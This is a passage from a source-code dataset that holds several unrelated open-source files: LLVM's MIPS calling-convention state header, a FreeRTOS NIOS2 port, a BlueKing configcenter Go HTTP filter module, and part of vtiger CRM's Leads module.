&Subtarget);\n\nprivate:\n /// Identify lowered values that originated from f128 arguments and record\n /// this for use by RetCC_MipsN.\n void PreAnalyzeCallResultForF128(const SmallVectorImpl &Ins,\n const Type *RetTy, const char * Func);\n\n /// Identify lowered values that originated from f128 arguments and record\n /// this for use by RetCC_MipsN.\n void PreAnalyzeReturnForF128(const SmallVectorImpl &Outs);\n\n /// Identify lowered values that originated from f128 arguments and record\n /// this.\n void\n PreAnalyzeCallOperands(const SmallVectorImpl &Outs,\n std::vector &FuncArgs,\n const char *Func);\n\n /// Identify lowered values that originated from f128 arguments and record\n /// this for use by RetCC_MipsN.\n void\n PreAnalyzeFormalArgumentsForF128(const SmallVectorImpl &Ins);\n\n void\n PreAnalyzeCallResultForVectorFloat(const SmallVectorImpl &Ins,\n const Type *RetTy);\n\n void PreAnalyzeFormalArgumentsForVectorFloat(\n const SmallVectorImpl &Ins);\n\n void\n PreAnalyzeReturnForVectorFloat(const SmallVectorImpl &Outs);\n\n /// Records whether the value has been lowered from an f128.\n SmallVector OriginalArgWasF128;\n\n /// Records whether the value has been lowered from float.\n SmallVector OriginalArgWasFloat;\n\n /// Records whether the value has been lowered from a floating point vector.\n SmallVector OriginalArgWasFloatVector;\n\n /// Records whether the return value has been lowered from a floating point\n /// vector.\n SmallVector OriginalRetWasFloatVector;\n\n /// Records whether the value was a fixed argument.\n /// See ISD::OutputArg::IsFixed,\n SmallVector CallOperandIsFixed;\n\n // Used to handle MIPS16-specific calling convention tweaks.\n // FIXME: This should probably be a fully fledged calling convention.\n SpecialCallingConvType SpecialCallingConv;\n\npublic:\n MipsCCState(CallingConv::ID CC, bool isVarArg, MachineFunction &MF,\n SmallVectorImpl &locs, LLVMContext &C,\n SpecialCallingConvType SpecialCC = NoSpecialCallingConv)\n : CCState(CC, isVarArg, MF, locs, C), SpecialCallingConv(SpecialCC) {}\n\n void\n AnalyzeCallOperands(const SmallVectorImpl &Outs,\n CCAssignFn Fn,\n std::vector &FuncArgs,\n const char *Func) {\n PreAnalyzeCallOperands(Outs, FuncArgs, Func);\n CCState::AnalyzeCallOperands(Outs, Fn);\n OriginalArgWasF128.clear();\n OriginalArgWasFloat.clear();\n OriginalArgWasFloatVector.clear();\n CallOperandIsFixed.clear();\n }\n\n // The AnalyzeCallOperands in the base class is not usable since we must\n // provide a means of accessing ArgListEntry::IsFixed. Delete them from this\n // class. This doesn't stop them being used via the base class though.\n void AnalyzeCallOperands(const SmallVectorImpl &Outs,\n CCAssignFn Fn) = delete;\n void AnalyzeCallOperands(const SmallVectorImpl &Outs,\n SmallVectorImpl &Flags,\n CCAssignFn Fn) = delete;\n\n void AnalyzeFormalArguments(const SmallVectorImpl &Ins,\n CCAssignFn Fn) {\n PreAnalyzeFormalArgumentsForF128(Ins);\n CCState::AnalyzeFormalArguments(Ins, Fn);\n OriginalArgWasFloat.clear();\n OriginalArgWasF128.clear();\n OriginalArgWasFloatVector.clear();\n }\n\n void AnalyzeCallResult(const SmallVectorImpl &Ins,\n CCAssignFn Fn, const Type *RetTy,\n const char *Func) {\n PreAnalyzeCallResultForF128(Ins, RetTy, Func);\n PreAnalyzeCallResultForVectorFloat(Ins, RetTy);\n CCState::AnalyzeCallResult(Ins, Fn);\n OriginalArgWasFloat.clear();\n OriginalArgWasF128.clear();\n OriginalArgWasFloatVector.clear();\n }\n\n void AnalyzeReturn(const SmallVectorImpl &Outs,\n CCAssignFn Fn) {\n PreAnalyzeReturnForF128(Outs);\n PreAnalyzeReturnForVectorFloat(Outs);\n CCState::AnalyzeReturn(Outs, Fn);\n OriginalArgWasFloat.clear();\n OriginalArgWasF128.clear();\n OriginalArgWasFloatVector.clear();\n }\n\n bool CheckReturn(const SmallVectorImpl &ArgsFlags,\n CCAssignFn Fn) {\n PreAnalyzeReturnForF128(ArgsFlags);\n PreAnalyzeReturnForVectorFloat(ArgsFlags);\n bool Return = CCState::CheckReturn(ArgsFlags, Fn);\n OriginalArgWasFloat.clear();\n OriginalArgWasF128.clear();\n OriginalArgWasFloatVector.clear();\n return Return;\n }\n\n bool WasOriginalArgF128(unsigned ValNo) { return OriginalArgWasF128[ValNo]; }\n bool WasOriginalArgFloat(unsigned ValNo) {\n return OriginalArgWasFloat[ValNo];\n }\n bool WasOriginalArgVectorFloat(unsigned ValNo) const {\n return OriginalArgWasFloatVector[ValNo];\n }\n bool WasOriginalRetVectorFloat(unsigned ValNo) const {\n return OriginalRetWasFloatVector[ValNo];\n }\n bool IsCallOperandFixed(unsigned ValNo) { return CallOperandIsFixed[ValNo]; }\n SpecialCallingConvType getSpecialCallingConv() { return SpecialCallingConv; }\n};\n}\n\n#endif\n"} -{"text": "/*\n * FreeRTOS Kernel V10.1.1\n * Copyright (C) 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n * http://www.FreeRTOS.org\n * http://aws.amazon.com/freertos\n *\n * 1 tab == 4 spaces!\n */\n\n/*-----------------------------------------------------------\n * Implementation of functions defined in portable.h for the NIOS2 port.\n *----------------------------------------------------------*/\n\n/* Standard Includes. */\n#include \n#include \n\n/* Altera includes. */\n#include \"sys/alt_irq.h\"\n#include \"altera_avalon_timer_regs.h\"\n#include \"priv/alt_irq_table.h\"\n\n/* Scheduler includes. */\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n/* Interrupts are enabled. */\n#define portINITIAL_ESTATUS ( StackType_t ) 0x01 \n\n/*-----------------------------------------------------------*/\n\n/* \n * Setup the timer to generate the tick interrupts.\n */\nstatic void prvSetupTimerInterrupt( void );\n\n/*\n * Call back for the alarm function.\n */\nvoid vPortSysTickHandler( void * context, alt_u32 id );\n\n/*-----------------------------------------------------------*/\n\nstatic void prvReadGp( uint32_t *ulValue )\n{\n\tasm( \"stw gp, (%0)\" :: \"r\"(ulValue) );\n}\n/*-----------------------------------------------------------*/\n\n/* \n * See header file for description. \n */\nStackType_t *pxPortInitialiseStack( StackType_t *pxTopOfStack, TaskFunction_t pxCode, void *pvParameters )\n{ \nStackType_t *pxFramePointer = pxTopOfStack - 1;\nStackType_t xGlobalPointer;\n\n prvReadGp( &xGlobalPointer ); \n\n /* End of stack marker. */\n *pxTopOfStack = 0xdeadbeef;\n pxTopOfStack--;\n \n *pxTopOfStack = ( StackType_t ) pxFramePointer; \n pxTopOfStack--;\n \n *pxTopOfStack = xGlobalPointer; \n \n /* Space for R23 to R16. */\n pxTopOfStack -= 9;\n\n *pxTopOfStack = ( StackType_t ) pxCode; \n pxTopOfStack--;\n\n *pxTopOfStack = portINITIAL_ESTATUS; \n\n /* Space for R15 to R5. */ \n pxTopOfStack -= 12;\n \n *pxTopOfStack = ( StackType_t ) pvParameters; \n\n /* Space for R3 to R1, muldiv and RA. */\n pxTopOfStack -= 5;\n \n return pxTopOfStack;\n}\n/*-----------------------------------------------------------*/\n\n/* \n * See header file for description. \n */\nBaseType_t xPortStartScheduler( void )\n{\n\t/* Start the timer that generates the tick ISR. Interrupts are disabled\n\there already. */\n\tprvSetupTimerInterrupt();\n\t\n\t/* Start the first task. */\n asm volatile ( \" movia r2, restore_sp_from_pxCurrentTCB \\n\"\n \" jmp r2 \" );\n\n\t/* Should not get here! */\n\treturn 0;\n}\n/*-----------------------------------------------------------*/\n\nvoid vPortEndScheduler( void )\n{\n\t/* It is unlikely that the NIOS2 port will require this function as there\n\tis nothing to return to. */\n}\n/*-----------------------------------------------------------*/\n\n/*\n * Setup the systick timer to generate the tick interrupts at the required\n * frequency.\n */\nvoid prvSetupTimerInterrupt( void )\n{\n\t/* Try to register the interrupt handler. */\n\tif ( -EINVAL == alt_irq_register( SYS_CLK_IRQ, 0x0, vPortSysTickHandler ) )\n\t{ \n\t\t/* Failed to install the Interrupt Handler. */\n\t\tasm( \"break\" );\n\t}\n\telse\n\t{\n\t\t/* Configure SysTick to interrupt at the requested rate. */\n\t\tIOWR_ALTERA_AVALON_TIMER_CONTROL( SYS_CLK_BASE, ALTERA_AVALON_TIMER_CONTROL_STOP_MSK );\n\t\tIOWR_ALTERA_AVALON_TIMER_PERIODL( SYS_CLK_BASE, ( configCPU_CLOCK_HZ / configTICK_RATE_HZ ) & 0xFFFF );\n\t\tIOWR_ALTERA_AVALON_TIMER_PERIODH( SYS_CLK_BASE, ( configCPU_CLOCK_HZ / configTICK_RATE_HZ ) >> 16 );\n\t\tIOWR_ALTERA_AVALON_TIMER_CONTROL( SYS_CLK_BASE, ALTERA_AVALON_TIMER_CONTROL_CONT_MSK | ALTERA_AVALON_TIMER_CONTROL_START_MSK | ALTERA_AVALON_TIMER_CONTROL_ITO_MSK );\t\n\t} \n\n\t/* Clear any already pending interrupts generated by the Timer. */\n\tIOWR_ALTERA_AVALON_TIMER_STATUS( SYS_CLK_BASE, ~ALTERA_AVALON_TIMER_STATUS_TO_MSK );\n}\n/*-----------------------------------------------------------*/\n\nvoid vPortSysTickHandler( void * context, alt_u32 id )\n{\n\t/* Increment the kernel tick. */\n\tif( xTaskIncrementTick() != pdFALSE )\n\t{\n vTaskSwitchContext();\n\t}\n\t\t\n\t/* Clear the interrupt. */\n\tIOWR_ALTERA_AVALON_TIMER_STATUS( SYS_CLK_BASE, ~ALTERA_AVALON_TIMER_STATUS_TO_MSK );\n}\n/*-----------------------------------------------------------*/\n\n/** This function is a re-implementation of the Altera provided function.\n * The function is re-implemented to prevent it from enabling an interrupt\n * when it is registered. Interrupts should only be enabled after the FreeRTOS.org\n * kernel has its scheduler started so that contexts are saved and switched \n * correctly.\n */\nint alt_irq_register( alt_u32 id, void* context, void (*handler)(void*, alt_u32) )\n{\n\tint rc = -EINVAL; \n\talt_irq_context status;\n\n\tif (id < ALT_NIRQ)\n\t{\n\t\t/* \n\t\t * interrupts are disabled while the handler tables are updated to ensure\n\t\t * that an interrupt doesn't occur while the tables are in an inconsistent\n\t\t * state.\n\t\t */\n\t\n\t\tstatus = alt_irq_disable_all ();\n\t\n\t\talt_irq[id].handler = handler;\n\t\talt_irq[id].context = context;\n\t\n\t\trc = (handler) ? alt_irq_enable (id): alt_irq_disable (id);\n\t\n\t\t/* alt_irq_enable_all(status); This line is removed to prevent the interrupt from being immediately enabled. */\n\t}\n \n\treturn rc; \n}\n/*-----------------------------------------------------------*/\n\n"} -{"text": "/*\n * Tencent is pleased to support the open source community by making \u84dd\u9cb8 available.\n * Copyright (C) 2017-2018 THL A29 Limited, a Tencent company. All rights reserved.\n * Licensed under the MIT License (the \"License\"); you may not use this file except\n * in compliance with the License. You may obtain a copy of the License at\n * http://opensource.org/licenses/MIT\n * Unless required by applicable law or agreed to in writing, software distributed under\n * the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\n * either express or implied. See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage rdapi\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"runtime/debug\"\n\t\"strings\"\n\n\t\"configcenter/src/common\"\n\t\"configcenter/src/common/blog\"\n\t\"configcenter/src/common/errors\"\n\t\"configcenter/src/common/metadata\"\n\t\"configcenter/src/common/util\"\n\n\t\"github.com/emicklei/go-restful\"\n)\n\nfunc checkHTTPAuth(req *restful.Request, defErr errors.DefaultCCErrorIf) (int, string) {\n\tutil.SetOwnerIDAndAccount(req)\n\tif \"\" == util.GetOwnerID(req.Request.Header) {\n\t\treturn common.CCErrCommNotAuthItem, defErr.Errorf(common.CCErrCommNotAuthItem, \"owner_id\").Error()\n\t}\n\tif \"\" == util.GetUser(req.Request.Header) {\n\t\treturn common.CCErrCommNotAuthItem, defErr.Errorf(common.CCErrCommNotAuthItem, \"user\").Error()\n\t}\n\n\treturn common.CCSuccess, \"\"\n\n}\n\nfunc AllGlobalFilter(errFunc func() errors.CCErrorIf) func(req *restful.Request, resp *restful.Response, fchain *restful.FilterChain) {\n\treturn func(req *restful.Request, resp *restful.Response, fchain *restful.FilterChain) {\n\t\tdefer func() {\n\t\t\tif fetalErr := recover(); fetalErr != nil {\n\t\t\t\trid := util.GetHTTPCCRequestID(req.Request.Header)\n\t\t\t\tblog.Errorf(\"server panic, err:%#v, rid:%s, debug strace:%s\", fetalErr, rid, debug.Stack())\n\t\t\t\tccErrTip := errFunc().CreateDefaultCCErrorIf(util.GetLanguage(req.Request.Header)).Errorf(common.CCErrCommInternalServerError, common.GetIdentification())\n\t\t\t\trespErrInfo := &metadata.RespError{Msg: ccErrTip}\n\t\t\t\tio.WriteString(resp, respErrInfo.Error())\n\t\t\t}\n\n\t\t}()\n\n\t\tGenerateHttpHeaderRID(req.Request, resp.ResponseWriter)\n\n\t\twhiteListSuffix := strings.Split(common.URLFilterWhiteListSuffix, common.URLFilterWhiteListSepareteChar)\n\t\tfor _, url := range whiteListSuffix {\n\t\t\tif strings.HasSuffix(req.Request.URL.Path, url) {\n\t\t\t\tfchain.ProcessFilter(req, resp)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tlanguage := util.GetLanguage(req.Request.Header)\n\t\tdefErr := errFunc().CreateDefaultCCErrorIf(language)\n\n\t\terrNO, errMsg := checkHTTPAuth(req, defErr)\n\n\t\tif common.CCSuccess != errNO {\n\t\t\tresp.WriteHeader(http.StatusInternalServerError)\n\t\t\trsp, _ := createAPIRspStr(errNO, errMsg)\n\t\t\tio.WriteString(resp, rsp)\n\t\t\treturn\n\t\t}\n\n\t\tfchain.ProcessFilter(req, resp)\n\t\treturn\n\t}\n}\n\nfunc RequestLogFilter() func(req *restful.Request, resp *restful.Response, fchain *restful.FilterChain) {\n\treturn func(req *restful.Request, resp *restful.Response, fchain *restful.FilterChain) {\n\t\theader := req.Request.Header\n\t\tbody, _ := util.PeekRequest(req.Request)\n\t\tblog.Infof(\"code: %s, user: %s, rip: %s, uri: %s, body: %s, rid: %s\",\n\t\t\theader.Get(\"Bk-App-Code\"), header.Get(\"Bk_user\"), header.Get(\"X-Real-Ip\"),\n\t\t\treq.Request.RequestURI, body, util.GetHTTPCCRequestID(header))\n\n\t\tfchain.ProcessFilter(req, resp)\n\t\treturn\n\t}\n}\n\nfunc HTTPRequestIDFilter() func(req *restful.Request, resp *restful.Response, fchain *restful.FilterChain) {\n\treturn func(req *restful.Request, resp *restful.Response, fchain *restful.FilterChain) {\n\t\tGenerateHttpHeaderRID(req.Request, resp.ResponseWriter)\n\t\tif 1 < len(fchain.Filters) {\n\t\t\tfchain.ProcessFilter(req, resp)\n\t\t\treturn\n\t\t}\n\n\t\tfchain.ProcessFilter(req, resp)\n\t\treturn\n\t}\n}\n\nfunc createAPIRspStr(errcode int, info string) (string, error) {\n\n\tvar rsp metadata.Response\n\n\tif 0 != errcode {\n\t\trsp.Result = false\n\t\trsp.Code = errcode\n\t\trsp.ErrMsg = info\n\t} else {\n\t\trsp.Data = info\n\t}\n\n\ts, err := json.Marshal(rsp)\n\n\treturn string(s), err\n}\n\nfunc GenerateHttpHeaderRID(req *http.Request, resp http.ResponseWriter) {\n\tcid := util.GetHTTPCCRequestID(req.Header)\n\tif \"\" == cid {\n\t\tcid = GetHTTPOtherRequestID(req.Header)\n\t\tif cid == \"\" {\n\t\t\tcid = util.GenerateRID()\n\t\t}\n\t\treq.Header.Set(common.BKHTTPCCRequestID, cid)\n\t\tresp.Header().Set(common.BKHTTPCCRequestID, cid)\n\t}\n\n\treturn\n}\n\nfunc ServiceErrorHandler(err restful.ServiceError, req *restful.Request, resp *restful.Response) {\n\tblog.Errorf(\"HTTP ERROR: %v, HTTP MESSAGE: %v, RequestURI: %s %s\", err.Code, err.Message, req.Request.Method, req.Request.RequestURI)\n\tret := metadata.BaseResp{\n\t\tResult: false,\n\t\tCode: -1,\n\t\tErrMsg: fmt.Sprintf(\"HTTP ERROR: %v, HTTP MESSAGE: %v, RequestURI: %s %s\", err.Code, err.Message, req.Request.Method, req.Request.RequestURI),\n\t}\n\n\tresp.WriteHeaderAndJson(err.Code, ret, \"application/json\")\n}\n\n// getHTTPOtherRequestID return other system request id from http header\nfunc GetHTTPOtherRequestID(header http.Header) string {\n\treturn header.Get(common.BKHTTPOtherRequestID)\n}\n"} -{"text": "'crmid','vtiger_leaddetails'=>'leadid','vtiger_leadsubdetails'=>'leadsubscriptionid','vtiger_leadaddress'=>'leadaddressid','vtiger_leadscf'=>'leadid');\n\n\tvar $entity_table = \"vtiger_crmentity\";\n\n\t/**\n\t * Mandatory table for supporting custom fields.\n\t */\n\tvar $customFieldTable = Array('vtiger_leadscf', 'leadid');\n\n\t//construct this from database;\n\tvar $column_fields = Array();\n\tvar $sortby_fields = Array('lastname','firstname','email','phone','company','smownerid','website');\n\n\t// This is used to retrieve related vtiger_fields from form posts.\n\tvar $additional_column_fields = Array('smcreatorid', 'smownerid', 'contactid','potentialid' ,'crmid');\n\n\t// This is the list of vtiger_fields that are in the lists.\n\tvar $list_fields = Array(\n\t\t'Last Name'=>Array('leaddetails'=>'lastname'),\n\t\t'First Name'=>Array('leaddetails'=>'firstname'),\n\t\t'Company'=>Array('leaddetails'=>'company'),\n\t\t'Phone'=>Array('leadaddress'=>'phone'),\n\t\t'Website'=>Array('leadsubdetails'=>'website'),\n\t\t'Email'=>Array('leaddetails'=>'email'),\n\t\t'Assigned To'=>Array('crmentity'=>'smownerid')\n\t);\n\tvar $list_fields_name = Array(\n\t\t'Last Name'=>'lastname',\n\t\t'First Name'=>'firstname',\n\t\t'Company'=>'company',\n\t\t'Phone'=>'phone',\n\t\t'Website'=>'website',\n\t\t'Email'=>'email',\n\t\t'Assigned To'=>'assigned_user_id'\n\t);\n\tvar $list_link_field= 'lastname';\n\n\tvar $search_fields = Array(\n\t\t'Name'=>Array('leaddetails'=>'lastname'),\n\t\t'Company'=>Array('leaddetails'=>'company')\n\t);\n\tvar $search_fields_name = Array(\n\t\t'Name'=>'lastname',\n\t\t'Company'=>'company'\n\t);\n\n\tvar $required_fields = array();\n\n\t// Used when enabling/disabling the mandatory fields for the module.\n\t// Refers to vtiger_field.fieldname values.\n\tvar $mandatory_fields = Array('assigned_user_id', 'lastname', 'createdtime' ,'modifiedtime');\n\n\t//Default Fields for Email Templates -- Pavani\n\tvar $emailTemplate_defaultFields = array('firstname','lastname','leadsource','leadstatus','rating','industry','secondaryemail','email','annualrevenue','designation','salutation');\n\n\t//Added these variables which are used as default order by and sortorder in ListView\n\tvar $default_order_by = 'lastname';\n\tvar $default_sort_order = 'ASC';\n\n\t// For Alphabetical search\n\tvar $def_basicsearch_col = 'lastname';\n\n\t//var $groupTable = Array('vtiger_leadgrouprelation','leadid');\n\n\tfunction Leads()\t{\n\t\t$this->log = LoggerManager::getLogger('lead');\n\t\t$this->log->debug(\"Entering Leads() method ...\");\n\t\t$this->db = PearDatabase::getInstance();\n\t\t$this->column_fields = getColumnFields('Leads');\n\t\t$this->log->debug(\"Exiting Lead method ...\");\n\t}\n\n\t/** Function to handle module specific operations when saving a entity\n\t*/\n\tfunction save_module($module)\n\t{\n\t}\n\n\t// Mike Crowe Mod --------------------------------------------------------Default ordering for us\n\n\t/** Function to export the lead records in CSV Format\n\t* @param reference variable - where condition is passed when the query is executed\n\t* Returns Export Leads Query.\n\t*/\n\tfunction create_export_query($where)\n\t{\n\t\tglobal $log;\n\t\tglobal $current_user;\n\t\t$log->debug(\"Entering create_export_query(\".$where.\") method ...\");\n\n\t\tinclude(\"include/utils/ExportUtils.php\");\n\n\t\t//To get the Permitted fields query and the permitted fields list\n\t\t$sql = getPermittedFieldsQuery(\"Leads\", \"detail_view\");\n\t\t$fields_list = getFieldsListFromQuery($sql);\n\n\t\t$userNameSql = getSqlForNameInDisplayFormat(array('first_name'=>\n\t\t\t\t\t\t\t'vtiger_users.first_name', 'last_name' => 'vtiger_users.last_name'), 'Users');\n\t\t$query = \"SELECT $fields_list,case when (vtiger_users.user_name not like '') then $userNameSql else vtiger_groups.groupname end as user_name\n\t \t\t\tFROM \".$this->entity_table.\"\n\t\t\t\tINNER JOIN vtiger_leaddetails\n\t\t\t\t\tON vtiger_crmentity.crmid=vtiger_leaddetails.leadid\n\t\t\t\tLEFT JOIN vtiger_leadsubdetails\n\t\t\t\t\tON vtiger_leaddetails.leadid = vtiger_leadsubdetails.leadsubscriptionid\n\t\t\t\tLEFT JOIN vtiger_leadaddress\n\t\t\t\t\tON vtiger_leaddetails.leadid=vtiger_leadaddress.leadaddressid\n\t\t\t\tLEFT JOIN vtiger_leadscf\n\t\t\t\t\tON vtiger_leadscf.leadid=vtiger_leaddetails.leadid\n\t LEFT JOIN vtiger_groups\n \t ON vtiger_groups.groupid = vtiger_crmentity.smownerid\n\t\t\t\tLEFT JOIN vtiger_users\n\t\t\t\t\tON vtiger_crmentity.smownerid = vtiger_users.id and vtiger_users.status='Active'\n\t\t\t\t\";\n\n\t\t$query .= $this->getNonAdminAccessControlQuery('Leads',$current_user);\n\t\t$where_auto = \" vtiger_crmentity.deleted=0 AND vtiger_leaddetails.converted =0\";\n\n\t\tif($where != \"\")\n\t\t\t$query .= \" where ($where) AND \".$where_auto;\n\t\telse\n\t\t\t$query .= \" where \".$where_auto;\n\n\t\t$log->debug(\"Exiting create_export_query method ...\");\n\t\treturn $query;\n\t}\n\n\n\n\t/** Returns a list of the associated tasks\n \t * @param integer $id - leadid\n \t * returns related Task or Event record in array format\n\t*/\n\tfunction get_activities($id, $cur_tab_id, $rel_tab_id, $actions=false) {\n\t\tglobal $log, $singlepane_view,$currentModule,$current_user;\n\t\t$log->debug(\"Entering get_activities(\".$id.\") method ...\");\n\t\t$this_module = $currentModule;\n\n $related_module = vtlib_getModuleNameById($rel_tab_id);\n\t\trequire_once(\"modules/$related_module/Activity.php\");\n\t\t$other = new Activity();\n vtlib_setup_modulevars($related_module, $other);\n\t\t$singular_modname = vtlib_toSingular($related_module);\n\n\t\t$parenttab = getParentTab();\n\n\t\tif($singlepane_view == 'true')\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=DetailView&return_id='.$id;\n\t\telse\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=CallRelatedList&return_id='.$id;\n\n\t\t$button = '';\n\n\t\t$button .= '';\n\n\t\tif($actions) {\n\t\t\tif(is_string($actions)) $actions = explode(',', strtoupper($actions));\n\t\t\tif(in_array('ADD', $actions) && isPermitted($related_module,1, '') == 'yes') {\n\t\t\t\tif(getFieldVisibilityPermission('Calendar',$current_user->id,'parent_id', 'readwrite') == '0') {\n\t\t\t\t\t$button .= \" \";\n\t\t\t\t}\n\t\t\t\tif(getFieldVisibilityPermission('Events',$current_user->id,'parent_id', 'readwrite') == '0') {\n\t\t\t\t\t$button .= \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$userNameSql = getSqlForNameInDisplayFormat(array('first_name'=>\n\t\t\t\t\t\t\t'vtiger_users.first_name', 'last_name' => 'vtiger_users.last_name'), 'Users');\n\t\t$query = \"SELECT vtiger_activity.*,vtiger_seactivityrel.*, vtiger_contactdetails.lastname,\n\t\t\tvtiger_contactdetails.contactid, vtiger_crmentity.crmid, vtiger_crmentity.smownerid,\n\t\t\tvtiger_crmentity.modifiedtime,case when (vtiger_users.user_name not like '') then\n\t\t$userNameSql else vtiger_groups.groupname end as user_name,\n\t\tvtiger_recurringevents.recurringtype\n\t\tfrom vtiger_activity inner join vtiger_seactivityrel on vtiger_seactivityrel.activityid=\n\t\tvtiger_activity.activityid inner join vtiger_crmentity on vtiger_crmentity.crmid=\n\t\tvtiger_activity.activityid left join vtiger_cntactivityrel on\n\t\tvtiger_cntactivityrel.activityid = vtiger_activity.activityid left join\n\t\tvtiger_contactdetails on vtiger_contactdetails.contactid = vtiger_cntactivityrel.contactid\n\t\tleft join vtiger_users on vtiger_users.id=vtiger_crmentity.smownerid\n\t\tleft outer join vtiger_recurringevents on vtiger_recurringevents.activityid=\n\t\tvtiger_activity.activityid left join vtiger_groups on vtiger_groups.groupid=\n\t\tvtiger_crmentity.smownerid where vtiger_seactivityrel.crmid=\".$id.\" and\n\t\t\tvtiger_crmentity.deleted = 0 and ((vtiger_activity.activitytype='Task' and\n\t\t\tvtiger_activity.status not in ('Completed','Deferred')) or\n\t\t\t(vtiger_activity.activitytype NOT in ('Emails','Task') and\n\t\t\tvtiger_activity.eventstatus not in ('','Held'))) \";\n\n\t\t$return_value = GetRelatedList($this_module, $related_module, $other, $query, $button, $returnset);\n\n\t\tif($return_value == null) $return_value = Array();\n\t\t$return_value['CUSTOM_BUTTON'] = $button;\n\n\t\t$log->debug(\"Exiting get_activities method ...\");\n\t\treturn $return_value;\n\t}\n\n\t/** Returns a list of the associated Campaigns\n\t * @param $id -- campaign id :: Type Integer\n\t * @returns list of campaigns in array format\n\t */\n\tfunction get_campaigns($id, $cur_tab_id, $rel_tab_id, $actions=false) {\n\t\tglobal $log, $singlepane_view,$currentModule,$current_user;\n\t\t$log->debug(\"Entering get_campaigns(\".$id.\") method ...\");\n\t\t$this_module = $currentModule;\n\n $related_module = vtlib_getModuleNameById($rel_tab_id);\n\t\trequire_once(\"modules/$related_module/$related_module.php\");\n\t\t$other = new $related_module();\n vtlib_setup_modulevars($related_module, $other);\n\t\t$singular_modname = vtlib_toSingular($related_module);\n\n\t\t$parenttab = getParentTab();\n\n\t\tif($singlepane_view == 'true')\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=DetailView&return_id='.$id;\n\t\telse\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=CallRelatedList&return_id='.$id;\n\n\t\t$button = '';\n\n\t\t$button .= '';\n\n\t\tif($actions) {\n\t\t\tif(is_string($actions)) $actions = explode(',', strtoupper($actions));\n\t\t\tif(in_array('SELECT', $actions) && isPermitted($related_module,4, '') == 'yes') {\n\t\t\t\t$button .= \" \";\n\t\t\t}\n\t\t}\n\n\t\t$userNameSql = getSqlForNameInDisplayFormat(array('first_name'=>\n\t\t\t\t\t\t\t'vtiger_users.first_name', 'last_name' => 'vtiger_users.last_name'), 'Users');\n\t\t$query = \"SELECT case when (vtiger_users.user_name not like '') then $userNameSql else vtiger_groups.groupname end as user_name ,\n\t\t\t\tvtiger_campaign.campaignid, vtiger_campaign.campaignname, vtiger_campaign.campaigntype, vtiger_campaign.campaignstatus,\n\t\t\t\tvtiger_campaign.expectedrevenue, vtiger_campaign.closingdate, vtiger_crmentity.crmid, vtiger_crmentity.smownerid,\n\t\t\t\tvtiger_crmentity.modifiedtime from vtiger_campaign\n\t\t\t\tinner join vtiger_campaignleadrel on vtiger_campaignleadrel.campaignid=vtiger_campaign.campaignid\n\t\t\t\tinner join vtiger_crmentity on vtiger_crmentity.crmid = vtiger_campaign.campaignid\n\t\t\t\tleft join vtiger_groups on vtiger_groups.groupid=vtiger_crmentity.smownerid\n\t\t\t\tleft join vtiger_users on vtiger_users.id = vtiger_crmentity.smownerid\n\t\t\t\twhere vtiger_campaignleadrel.leadid=\".$id.\" and vtiger_crmentity.deleted=0\";\n\n\t\t$return_value = GetRelatedList($this_module, $related_module, $other, $query, $button, $returnset);\n\n\t\tif($return_value == null) $return_value = Array();\n\t\t$return_value['CUSTOM_BUTTON'] = $button;\n\n\t\t$log->debug(\"Exiting get_campaigns method ...\");\n\t\treturn $return_value;\n\t}\n\n\n\t\t/** Returns a list of the associated emails\n\t \t * @param integer $id - leadid\n\t \t * returns related emails record in array format\n\t\t*/\n\tfunction get_emails($id, $cur_tab_id, $rel_tab_id, $actions=false) {\n\t\tglobal $log, $singlepane_view,$currentModule,$current_user;\n\t\t$log->debug(\"Entering get_emails(\".$id.\") method ...\");\n\t\t$this_module = $currentModule;\n\n $related_module = vtlib_getModuleNameById($rel_tab_id);\n\t\trequire_once(\"modules/$related_module/$related_module.php\");\n\t\t$other = new $related_module();\n vtlib_setup_modulevars($related_module, $other);\n\t\t$singular_modname = vtlib_toSingular($related_module);\n\n\t\t$parenttab = getParentTab();\n\n\t\tif($singlepane_view == 'true')\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=DetailView&return_id='.$id;\n\t\telse\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=CallRelatedList&return_id='.$id;\n\n\t\t$button = '';\n\n\t\t$button .= '';\n\n\t\tif($actions) {\n\t\t\tif(is_string($actions)) $actions = explode(',', strtoupper($actions));\n\t\t\tif(in_array('SELECT', $actions) && isPermitted($related_module,4, '') == 'yes') {\n\t\t\t\t$button .= \" \";\n\t\t\t}\n\t\t\tif(in_array('ADD', $actions) && isPermitted($related_module,1, '') == 'yes') {\n\t\t\t\t$button .= \"\";\n\t\t\t}\n\t\t}\n\n\t\t$userNameSql = getSqlForNameInDisplayFormat(array('first_name'=>\n\t\t\t\t\t\t\t'vtiger_users.first_name', 'last_name' => 'vtiger_users.last_name'), 'Users');\n\t\t$query 